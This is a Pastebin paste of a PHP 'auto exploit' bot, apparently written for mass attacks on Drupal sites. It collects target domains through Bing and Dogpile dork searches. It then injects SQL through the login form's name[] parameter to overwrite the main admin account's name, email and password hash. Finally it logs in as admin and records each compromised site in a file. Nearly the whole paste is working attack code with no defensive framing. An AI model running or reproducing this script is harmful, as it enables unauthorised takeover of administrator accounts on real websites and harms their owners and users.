Advertisement
Guest User

Untitled

a guest
Mar 2nd, 2017
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.16 KB | None | 0 0
  1. <?php
  2. Class Drupal{
  3. //~CREATE BY PAKHAXOR - DRUPAL ADD ADMIN AUTO EXPLOIT (BOT)
  4. public $username = 'default'; // u can change username and default password admin
  5. public $email = 'default%40default.com'; // encode to this web http://www.urlencoder.org/
  6. //how to run this tool ? using php namefile.php
  7.         public function CurlPost($url, $post = false,$type=null){
  8.         if($type == 1)
  9.         {
  10.             $ch = curl_init();
  11.             curl_setopt ($ch, CURLOPT_URL, $url);
  12.             curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  13.             curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  14.             curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  15.             curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  16.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  17.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  18.             curl_setopt ($ch, CURLOPT_POST, 1);
  19.             $headers  = array();
  20.             $headers[] = 'Accept-Encoding: gzip, deflate';
  21.             $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  22.             curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
  23.             curl_setopt ($ch, CURLOPT_HEADER, 1);
  24.             $result = curl_exec ($ch);
  25.             curl_close($ch);
  26.             return $result;
  27.         }
  28.         if($type == 2)
  29.         {
  30.             $ch = curl_init();
  31.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  32.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  33.         curl_setopt($ch, CURLOPT_URL, $url);
  34.         curl_setopt($ch, CURLOPT_HEADER, 0);
  35.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  36.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  37.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  38.         if($post !== false){
  39.             $isi = '';
  40.             foreach($post as $key=>$value){
  41.                 $isi .= $key.'='.$value.'&';
  42.             }
  43.             rtrim($isi, '&');
  44.             curl_setopt($ch, CURLOPT_URL, $url);
  45.             curl_setopt($ch, CURLOPT_POST, count($isi));
  46.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  47.             curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  48.         }
  49.         $data = curl_exec($ch);
  50.         curl_close($ch);
  51.         return $data;
  52.         }
  53.     }
  54.     public function ReadStdin($prompt, $valid_inputs=null, $default = '') {
  55.         while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
  56.             echo $prompt;
  57.             $input = strtolower(trim(fgets(STDIN)));
  58.             break;
  59.             if(empty($input) && !empty($default)) {
  60.                 $input = $default;
  61.             }
  62.         }
  63.         return $input;
  64.     }
  65.     public function NameXFile($file)
  66.     {
  67.         $validation = explode('.',$file);
  68.         $ext = array("txt","log","lst");
  69.         for($x=0;$x<count($ext);$x++)
  70.         {
  71.             if($validation[1] == $ext[$x++])
  72.             {
  73.                 return true;
  74.             }
  75.         }
  76.     }
  77.     public function getDomain($keyword)
  78.     {
  79.         if($keyword == 1)
  80.         {
  81.             return array($argv[1]);
  82.         }
  83.     }
  84.     function SearchEngine($dork,$angka)
  85.     {
  86.             $list = array();
  87.             if($angka == 1)
  88.             {
  89.                 for($i=0;$i<=1000;$i+=10){
  90.                             $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($dork)."&first=".$i,false,2);
  91.                             preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  92.                             foreach($m[1] as $link){
  93.                                 if(!preg_match("/live|msn|bing|microsoft/",$link)){
  94.                                     if(!in_array($link,$list)){
  95.                                         $domain = $this->filterDomain($link);
  96.                                         $list[] = "http://".$domain;
  97.                                     }
  98.                                 }
  99.                             }
  100.                             echo ".";
  101.                         }
  102.                         echo "\nDitemukan : ".count(array_unique($list))."\n";
  103.                         return array_unique($list);
  104.             }
  105.             if($angka == 2)
  106.             {
  107.                 $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  108.                 for($x=0;$x<=count($ccbing)-1;$x++){
  109.                         for($i=0;$i<=1000;$i+=10){
  110.                             $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE",false,2);
  111.                             preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  112.                             foreach($m[1] as $link){
  113.                                 if(!preg_match("/live|msn|bing|microsoft/",$link)){
  114.                                     if(!in_array($link,$list)){
  115.                                         $domain = $this->filterDomain($link);
  116.                                         $fp = fopen("domain.txt", 'a+');
  117.                                         fwrite($fp, "http://".$domain."\n");
  118.                                         fclose($fp);
  119.                                         $list[] = "http://".$domain;;
  120.                                     }
  121.                                 }
  122.                             }
  123.                             echo ".";
  124.                         }
  125.                     }
  126.                     echo "\nDitemukan : ".count(array_unique($list))."\n";
  127.                     return array_unique($list);
  128.             }
  129.             if($angka == 3)
  130.             {
  131.                 for($x=1;$x<=1000;$x+=10){
  132.                     $check = $this->CurlPost('http://www.dogpile.com/dogpilecontrol/search/web?qsi='.$x.'&q='.$dork.'&fcoid=4&fcop=results-bottom&fpid=2',false,2);
  133.                     preg_match_all('# target="_blank">(.*?)</a>#',$check,$matches);
  134.                     foreach($matches[1] as $domain)
  135.                     {
  136.                         $domain = str_replace("<strong>", "", $domain);
  137.                         $domain = str_replace("</strong>", "", $domain);
  138.                         $list[] = $this->filterDomain($domain);
  139.                     }
  140.                     echo ".";
  141.                 }
  142.                 echo "\nDitemukan : ".count(array_unique($list))."\n";
  143.                 return array_unique($list);
  144.             }
  145.     }
  146.     public function filterDomain($domains)
  147.     {
  148.         $url = parse_url($domains);
  149.         $target = (!isset($url["scheme"]) ? "http://".$domains : $url["scheme"]."://".$url["host"]);
  150.         if(preg_match('/http/',$target))
  151.         {
  152.             $reparse = parse_url($target);
  153.             $domain = (!isset($reparse["scheme"]) ? $target : $reparse["host"]);
  154.             if (!filter_var("http://$domain", FILTER_VALIDATE_URL) === false)
  155.             {
  156.                 if($domain !== "")
  157.                 {
  158.                     $checkdomain = explode('.',$domain);
  159.                     if(isset($checkdomain[1]))
  160.                     {
  161.                         return $domain;
  162.                     }
  163.                 }
  164.             }
  165.         }
  166.     }
  167.     public function wrongpress($read,$angka)
  168.     {
  169.         if(!isset($read) or $read > $angka or !(int)($read) or $read = "")
  170.         {
  171.             echo "Wrong Press !!!";
  172.             die();
  173.         }
  174.     }
  175.     public function curl($url,$post)
  176.     {
  177.         $ch = curl_init();
  178.         curl_setopt ($ch, CURLOPT_URL, "$url");
  179.         curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0");
  180.         curl_setopt($ch, CURLOPT_POST, true);
  181.         curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
  182.         curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  183.         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  184.         curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  185.         $data = curl_exec($ch);
  186.         curl_close($ch);
  187.         return $data;
  188.     }
  189.     public function exploiter($url)
  190.     {
  191.         $post_data = "name[0;update users set name %3D '".$this->username."' , mail %3D '".$this->email."' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
  192.         $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded
  193.         ", 'content' => $post_data));
  194.         $ctx = stream_context_create($params);
  195.         $addurl = array('/user/login','?q=node&destination=node');
  196.         $data1 = @file_get_contents($url.$addurl[0], null, $ctx);
  197.         $data2 = @file_get_contents($url.$addurl[1],null,$ctx);
  198.         if(preg_match('/edit-name/',$data1))
  199.         {
  200.             return true;
  201.         }elseif(stristr($data2, 'mb_strlen() expects parameter 1 to be string') && $data2){
  202.             return true;
  203.         }else{
  204.             return false;
  205.         }
  206.     }
  207. }
  208. $drupal = new Drupal();
  209. $getdomains = $drupal->ReadStdin("[1] Making Dork\n[2] Making List\n[3] Making Url\nSelected : ", array('1','2','3'));
  210.     $drupal->wrongpress($getdomains,3);
  211.     if($getdomains == 1)
  212.     {
  213.         $dorker = $drupal->ReadStdin("[1] Bing\n[2] Bing By Country\n[3] Dogpile\nSelected : ",array("keyword"));
  214.         if(isset($dorker))
  215.         {
  216.             $drupal->wrongpress($dorker,3);
  217.             $url1 = $drupal->ReadStdin("Masukkan Dork : ",array("keyword"));
  218.             echo "Grabbing : ";
  219.             $get = $drupal->SearchEngine($url1,$dorker);
  220.         }
  221.     }
  222.     if($getdomains == 2)
  223.     {
  224.         $url2 = $drupal->ReadStdin("Masukkan Namafile TXT : ",array("keyword"));
  225.         $get =($drupal->NameXFile($url2) == true) ? file($url2) : die("Masukkan Nama File Dengan Benar !!!");
  226.     }
  227.     if($getdomains == 3)
  228.     {
  229.         $url3 = $drupal->ReadStdin("Masukkan url : ",array("keyword"));
  230.         $get = array($url3);
  231.     }
  232. $x=1;
  233. foreach($get as $url)
  234. {
  235.     if($getdomains == 2)
  236.     {
  237.         $url = str_replace("\r", "", $url);
  238.         $url = str_replace("\n", "", $url);
  239.     }
  240.     echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
  241.     $exploiter = $drupal->exploiter($url);
  242.     $post = ('name='.$drupal->username.'&pass=admin&form_build_id=form-890Yt0ro4z3d4snrpn6DMNBIRaBjTAJrmnrrw6LIUNU&form_id=user_login&op=Log+in');
  243.     $postlogin = $drupal->curl($url.'/user/login',$post);
  244.     if($exploiter == true)
  245.     {
  246.         $sendemail = $drupal->curl("$url/user/password",'name='.$drupal->email.'&form_build_id=form-FZvl_8CktOoEYX_IccDyPsLGFgfrNLhdGlLR2pCCrAQ&form_id=user_pass&op=E-mail+new+password');
  247.         if(preg_match('/edit-name/',$postlogin)) {
  248.             $message = "[X] ".$url."/user/login => Can't Login\n";
  249.             echo $message;
  250.             if(preg_match('/messages error/',$sendemail))
  251.             {
  252.                 echo "[X] ".$url."/user/password => Failed Send Email\n";
  253.             }
  254.             else{
  255.                 echo "[Y] ".$url."/user/password => Success Send Email\n";
  256.             }
  257.         }
  258.         else{
  259.             $message = "[Y] ".$url."/user/login => Success Login Username=".$drupal->username." Password=admin\n";
  260.                                     $fp = fopen("drupalsuccess.txt", 'a+');
  261.                                     fwrite($fp, $message);
  262.                                     fclose($fp);
  263.             echo $message;
  264.         }
  265.     }
  266.     else{
  267.         echo $url.' => Not Vuln'."\n";
  268.     }
  269. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement